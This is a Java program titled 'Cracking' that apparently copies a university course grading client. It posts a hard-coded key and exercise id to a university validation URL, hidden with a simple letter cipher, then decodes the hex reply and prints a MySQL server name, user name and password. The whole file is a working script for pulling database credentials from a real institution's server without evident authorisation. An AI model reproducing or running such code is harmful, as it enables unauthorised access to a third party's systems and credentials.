Cracking

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.CharBuffer;
import java.nio.charset.Charset;


public class Cracking {

    public static String key = "74d2efb6010c5cf790f36840908906cd6636ab09c526c49b9f7b7a179a37caac106ec3dfff9e83477a9d7af50e0e7f0afeb3e0224452a8a05a5a519835c0f80a";
    public static String exid = "1006";

    public static void main(String[] args) {
        // view-source:http://users.dsic.upv.es/asignaturas/etsinf/iip/corrector.php?astype=1&exid=1006&pas=29751&l=C
        String s = sendRequest();
        ConInformation c = null;
        try {
            c = new ConInformation(s, Integer.parseInt(exid));
        } catch (NumberFormatException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("Servidor mysql: " + c.ser);
        System.out.println("Nombre: " + c.nam);
        System.out.println("Clave: " + c.pas);
    }

    private static String sendRequest() {
        String s = null;
        String s1 = identify("KTQWQWOVAHBEBEXWJWPSCWJWUDISJWRTBSUDXWOVEXUDPSJWBENRJWRTDTAVNRQWXWCWNRJWBEPSQWJWRTAVWSBEPSISNRBEEXNRMURTISNRQWPSUDOVKTOV");
        try {
            URL url = new URL(s1); // http://users.dsic.upv.es/asignaturas/etsinf/eda/validate.php
            HttpURLConnection httpurlconnection = (HttpURLConnection)url.openConnection();
            httpurlconnection.setRequestMethod("POST");
            httpurlconnection.setRequestProperty("User-Agent", "Mozilla/5.0");
            httpurlconnection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
            String s2 = (new StringBuilder()).append("exid=").append(exid).append("&key=").append(key).toString();
            httpurlconnection.setDoOutput(true);
            DataOutputStream dataoutputstream = new DataOutputStream(httpurlconnection.getOutputStream());
            dataoutputstream.writeBytes(s2);
            dataoutputstream.flush();
            dataoutputstream.close();
            BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(httpurlconnection.getInputStream()));
            StringBuilder stringbuilder = new StringBuilder();
            stringbuilder.append(httpurlconnection.getResponseCode()).append(";");
            String s3;
            while((s3 = bufferedreader.readLine()) != null)
                stringbuilder.append(s3);
            bufferedreader.close();
            s = stringbuilder.toString();
        }
        catch(Exception exception) { }
        return s;
    }

    private static String identify(String s) {
        String s1 = "";
        for(int i = 0; i < s.length(); i += 2)
            s1 = (new StringBuilder()).append(s1).append(identifyChar(s.substring(i, i + 2))).toString();
        return s1;
    }

    private static char identifyChar(String s) {
        int i = s.charAt(0) - 65;
        int j = s.charAt(1) - 65;
        int k = (26 * j + i) / 7;
        return (char)(k + 32);
    }

    public static class ConInformation {

        private static String hex2bin(String s) {
            ByteBuffer bytebuffer = ByteBuffer.allocate(s.length() / 2);
            for(int i = 0; i < s.length(); i += 2)
                bytebuffer.put((byte)Integer.parseInt(s.substring(i, i + 2), 16));
            bytebuffer.rewind();
            Charset charset = Charset.forName("US-ASCII");
            CharBuffer charbuffer = charset.decode(bytebuffer);
            return charbuffer.toString();
    }

        public String ser;
        public String nam;
        public String pas;

        public ConInformation(String s, int i) throws Exception {
            s = s.split(";")[1];
            String s1 = hex2bin(s);
            String as[] = s1.split(";");
            ser = as[0];
            nam = as[1];
            pas = as[2];
        }

    }

}